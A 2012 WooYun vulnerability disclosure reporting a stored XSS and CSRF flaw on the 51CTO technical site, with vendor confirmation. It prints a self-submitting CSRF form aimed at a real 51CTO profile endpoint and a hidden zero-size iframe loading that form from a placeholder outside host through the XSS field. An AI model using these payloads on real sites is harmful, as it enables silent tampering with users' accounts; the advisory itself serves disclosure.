当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015822

漏洞标题:51CTO存储型XSS&CSRF 两者淫荡地合体了!!!

相关厂商:51CTO技术网站

漏洞作者: 数据流

提交时间:2012-12-10 11:31

修复时间:2013-01-24 11:31

公开时间:2013-01-24 11:31

漏洞类型:CSRF

危害等级:低

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-10: 细节已通知厂商并且等待厂商处理中
2012-12-11: 厂商已经确认,细节仅向厂商公开
2012-12-21: 细节向核心白帽子及相关领域专家公开
2012-12-31: 细节向普通白帽子公开
2013-01-10: 细节向实习白帽子公开
2013-01-24: 细节向公众公开

简要描述:

XSS结合CSRF 每天跨一跨 杀气聚胯下

详细说明:

XSS:
51CTO圈子主页再次XSS
上次我发的是"自定义模块"标题处 这次是内容处``(居然不自己排查下其他地方)
看图

1.jpg


2.jpg

html代码成功注入
CSRF:

3.jpg


在个人信息各处 除了修改邮箱地址和密码 其他均可用CSRF攻击
为了方便演示 我就用了 姓名 来测试

<form action="http://home.51cto.com//index.php?s=/Info/doIndex" method="post" class="form_validator" id="regform">
<input name="true_name" value="CSRF TEST" />
<script type="text/javascript">
document.forms[0].submit();
</script>
</form>


二者结合:
在上处提过的自定义模块内容处插入这些代码 就能成功修改用户的个人任何信息
就这样贴上去的话 页面会显示"修改成功!"为了让CSRF攻击更隐蔽
我们可以用到<iframe>标签
把表单保存为html 上传到一个网站上
在自定义模块内容处插入:

<iframe width=0 height=0 src=http://xxx.com/1.html>


这样就能神不知鬼不觉得发起CSRF攻击了!

漏洞证明:

4.jpg


5.jpg


成功利用!

修复方案:

Referer

版权声明:转载请注明来源 数据流@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-12-11 10:52

厂商回复:

己在修复

最新状态:

暂无